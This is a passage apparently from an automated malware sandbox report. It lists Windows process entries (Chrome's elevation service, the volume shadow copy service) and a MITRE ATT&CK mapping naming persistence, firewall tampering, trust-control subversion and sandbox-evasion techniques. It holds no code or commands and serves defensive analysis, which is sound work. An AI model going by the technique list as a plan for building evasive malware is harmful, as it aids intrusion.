"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1580

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5076

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3136

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3280

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1268

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:4824

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Subvert Trust Controls

T1553

SIP and Trust Provider Hijacking

T1553.003

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

System Time Discovery

T1124

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...